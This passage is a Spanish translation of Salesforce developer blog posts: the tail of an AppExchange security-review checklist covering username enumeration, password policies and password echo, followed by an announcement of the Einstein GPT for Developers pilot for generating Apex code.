Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Einstein

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnología transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este año, anunciamos Einstein GPT para desarrolladores , la solución de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce más rápido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora está en piloto cerrado.

Creado específicamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar código Apex utilizando lenguaje natural. El soporte para LWC llegará pronto. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos cómo comenzar con Einstein GPT para el desarrollo de Apex y cómo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificación de IA

Las herramientas de codificación de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes públicos, como Java, Python y otros, así como en código disponible públicamente. Dado que los lenguajes específicos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitación necesaria para brindar recomendaciones precisas.

Además, las herramientas de codificación de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificación públicas carecen del contexto de Salesforce de su organización, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por último, el uso de herramientas de inteligencia artificial disponibles públicamente expone su código privado más allá del límite de confianza de Salesforce y podría hacerlo público, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de código abierto para la síntesis de programas. Hospedamos CodeGen dentro del límite de confianza de Salesforce y lo hemos capacitado en lenguajes específicos de Salesforce como Apex y LWC. Con una base dinámica incorporada al proceso de generación de código, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y código. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y código permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que esté disponible en Open Beta para Dreamforce 2023. Una vez que su organización esté habilitada para esta herramienta, puede instalar la extensión Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT también estará disponible en Code Builder , nuestro IDE basado en web, que se espera que esté disponible de forma general en octubre. ¡Estén atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el menú y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organización para conectarse a una organización sandbox o a una organización borrador de Salesforce. Podrá utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si está utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la función adicional de organización borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la función EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar código Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar código con Einstein GPT (ver captura de pantalla a continuación) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuación se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llamémoslo OpportunityQuerySelector. Cree un método llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta específico. El método debe aceptar accountId como parámetro. Siga las mejores prácticas de seguridad y asegúrese de que el código se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuación.

Si bien el código generado anteriormente no requirió muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT según sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. ¡Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Recién estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere código LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalización predictiva de código en línea: complete automáticamente la siguiente línea de código sugerida con metadatos contextuales del proyecto.
  • Verificación del rendimiento del código: escanee el código Apex y corrija errores de tiempo de ejecución durante el proceso de desarrollo
  • Asistencia conversacional: Pídale a Einstein que genere código contextual y documentación, explique el código o resuelva problemas complejos.

Conclusión

A medida que Einstein GPT para desarrolladores amplíe sus capacidades para admitir LWC, proporcionar finalización de código inteligente y brindar asistencia conversacional, podrá desarrollar la plataforma Salesforce más rápido que nunca. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. ¡Únase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS